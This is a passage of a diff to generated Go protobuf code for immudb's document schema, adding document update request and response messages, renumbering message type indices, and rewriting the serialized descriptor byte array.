*CollectionListResponse) GetCollections() []*CollectionInformation { @@ -1272,7 +1390,7 @@ type CollectionDeleteRequest struct { func (x *CollectionDeleteRequest) Reset() { *x = CollectionDeleteRequest{} if protoimpl.UnsafeEnabled { - mi := &file_documentschema_proto_msgTypes[19] + mi := &file_documentschema_proto_msgTypes[21] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1285,7 +1403,7 @@ func (x *CollectionDeleteRequest) String() string { func (*CollectionDeleteRequest) ProtoMessage() {} func (x *CollectionDeleteRequest) ProtoReflect() protoreflect.Message { - mi := &file_documentschema_proto_msgTypes[19] + mi := &file_documentschema_proto_msgTypes[21] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1298,7 +1416,7 @@ func (x *CollectionDeleteRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use CollectionDeleteRequest.ProtoReflect.Descriptor instead. func (*CollectionDeleteRequest) Descriptor() ([]byte, []int) { - return file_documentschema_proto_rawDescGZIP(), []int{19} + return file_documentschema_proto_rawDescGZIP(), []int{21} } func (x *CollectionDeleteRequest) GetName() string { @@ -1317,7 +1435,7 @@ type CollectionDeleteResponse struct { func (x *CollectionDeleteResponse) Reset() { *x = CollectionDeleteResponse{} if protoimpl.UnsafeEnabled { - mi := &file_documentschema_proto_msgTypes[20] + mi := &file_documentschema_proto_msgTypes[22] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1330,7 +1448,7 @@ func (x *CollectionDeleteResponse) String() string { func (*CollectionDeleteResponse) ProtoMessage() {} func (x *CollectionDeleteResponse) ProtoReflect() protoreflect.Message { - mi := &file_documentschema_proto_msgTypes[20] + mi := &file_documentschema_proto_msgTypes[22] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1343,7 +1461,7 @@ func (x *CollectionDeleteResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use CollectionDeleteResponse.ProtoReflect.Descriptor instead. func (*CollectionDeleteResponse) Descriptor() ([]byte, []int) { - return file_documentschema_proto_rawDescGZIP(), []int{20} + return file_documentschema_proto_rawDescGZIP(), []int{22} } type Proof struct { @@ -1357,7 +1475,7 @@ type Proof struct { func (x *Proof) Reset() { *x = Proof{} if protoimpl.UnsafeEnabled { - mi := &file_documentschema_proto_msgTypes[21] + mi := &file_documentschema_proto_msgTypes[23] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1370,7 +1488,7 @@ func (x *Proof) String() string { func (*Proof) ProtoMessage() {} func (x *Proof) ProtoReflect() protoreflect.Message { - mi := &file_documentschema_proto_msgTypes[21] + mi := &file_documentschema_proto_msgTypes[23] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1383,7 +1501,7 @@ func (x *Proof) ProtoReflect() protoreflect.Message { // Deprecated: Use Proof.ProtoReflect.Descriptor instead. func (*Proof) Descriptor() ([]byte, []int) { - return file_documentschema_proto_rawDescGZIP(), []int{21} + return file_documentschema_proto_rawDescGZIP(), []int{23} } func (x *Proof) GetName() string { @@ -1421,251 +1539,276 @@ var file_documentschema_proto_rawDesc = []byte{ 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x05, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x22, 0xbc, 0x01, - 0x0a, 0x0a, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x3b, 0x0a, 0x0a, - 0x6e, 0x75, 0x6c, 0x6c, 0x5f, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, - 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, - 0x75, 0x66, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x48, 0x00, 0x52, 0x09, - 0x6e, 0x75, 0x6c, 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x23, 0x0a, 0x0c, 0x6e, 0x75, 0x6d, - 0x62, 0x65, 0x72, 0x5f, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x01, 0x48, - 0x00, 0x52, 0x0b, 0x6e, 0x75, 0x6d, 0x62, 0x65, 0x72, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x23, - 0x0a, 0x0c, 0x73, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x5f, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x09, 0x48, 0x00, 0x52, 0x0b, 0x73, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x56, 0x61, - 0x6c, 0x75, 0x65, 0x12, 0x1f, 0x0a, 0x0a, 0x62, 0x6f, 0x6f, 0x6c, 0x5f, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x48, 0x00, 0x52, 0x09, 0x62, 0x6f, 0x6f, 0x6c, 0x56, - 0x61, 0x6c, 0x75, 0x65, 0x42, 0x06, 0x0a, 0x04, 0x6b, 0x69, 0x6e, 0x64, 0x22, 0x95, 0x01, 0x0a, - 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x14, - 0x0a, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x66, - 0x69, 0x65, 0x6c, 0x64, 0x12, 0x40, 0x0a, 0x08, 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x51, - 0x75, 0x65, 0x72, 0x79, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x52, 0x08, 0x6f, 0x70, - 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x2c, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, - 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x22, 0xa1, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, - 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x3a, - 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x24, 0x2e, + 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x22, 0x6c, 0x0a, + 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, + 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, + 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x67, 0x0a, 0x16, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x31, 0x0a, 0x05, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, + 0x78, 0x52, 0x05, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, + 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, + 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xbc, 0x01, 0x0a, 0x0a, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x56, 0x61, + 0x6c, 0x75, 0x65, 0x12, 0x3b, 0x0a, 0x0a, 0x6e, 0x75, 0x6c, 0x6c, 0x5f, 0x76, 0x61, 0x6c, 0x75, + 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, + 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x56, 0x61, + 0x6c, 0x75, 0x65, 0x48, 0x00, 0x52, 0x09, 0x6e, 0x75, 0x6c, 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, + 0x12, 0x23, 0x0a, 0x0c, 0x6e, 0x75, 0x6d, 0x62, 0x65, 0x72, 0x5f, 0x76, 0x61, 0x6c, 0x75, 0x65, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x01, 0x48, 0x00, 0x52, 0x0b, 0x6e, 0x75, 0x6d, 0x62, 0x65, 0x72, + 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x23, 0x0a, 0x0c, 0x73, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x5f, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x48, 0x00, 0x52, 0x0b, 0x73, + 0x74, 0x72, 0x69, 0x6e, 0x67, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x1f, 0x0a, 0x0a, 0x62, 0x6f, + 0x6f, 0x6c, 0x5f, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x48, 0x00, + 0x52, 0x09, 0x62, 0x6f, 0x6f, 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x42, 0x06, 0x0a, 0x04, 0x6b, + 0x69, 0x6e, 0x64, 0x22, 0x95, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x40, 0x0a, 0x08, 0x6f, + 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x51, 0x75, - 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x4f, 0x70, 0x65, 0x72, 0x61, + 0x74, 0x6f, 0x72, 0x52, 0x08, 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x2c, 0x0a, + 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x67, + 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x56, + 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0xa1, 0x01, 0x0a, 0x15, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x3a, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x02, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, + 0x79, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x22, + 0x9b, 0x01, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, + 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x31, 0x0a, 0x07, 0x72, 0x65, + 0x73, 0x75, 0x6c, 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, + 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, + 0x72, 0x75, 0x63, 0x74, 0x52, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x12, 0x12, 0x0a, + 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, + 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x65, + 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, 0x66, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, + 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, 0x66, 0x74, 0x22, 0x76, 0x0a, + 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x61, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, + 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0a, 0x61, 0x74, 0x52, 0x65, 0x76, + 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x4a, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x31, + 0x0a, 0x05, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, + 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x05, 0x70, 0x72, 0x6f, 0x6f, + 0x66, 0x22, 0x84, 0x01, 0x0a, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, + 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, + 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, - 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x22, 0x9b, 0x01, 0x0a, 0x16, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x12, 0x31, 0x0a, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x18, 0x01, - 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x07, 0x72, - 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, - 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, - 0x50, 0x61, 0x67, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, - 0x65, 0x66, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, - 0x65, 0x73, 0x4c, 0x65, 0x66, 0x74, 0x22, 0x76, 0x0a, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, - 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, - 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x1e, - 0x0a, 0x0a, 0x61, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x03, 0x52, 0x0a, 0x61, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x4a, - 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x31, 0x0a, 0x05, 0x70, 0x72, 0x6f, 0x6f, 0x66, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, - 0x65, 0x54, 0x78, 0x52, 0x05, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x22, 0x84, 0x01, 0x0a, 0x14, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, - 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x49, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, - 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, - 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, - 0x65, 0x22, 0xa7, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, - 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3e, 0x0a, 0x07, 0x72, - 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, - 0x69, 0x74, 0x52, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x70, - 0x61, 0x67, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, - 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x65, 0x6e, 0x74, - 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, 0x66, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, - 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, 0x66, 0x74, 0x22, 0x64, 0x0a, 0x0d, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, 0x2d, 0x0a, 0x05, - 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, - 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, - 0x72, 0x75, 0x63, 0x74, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, - 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 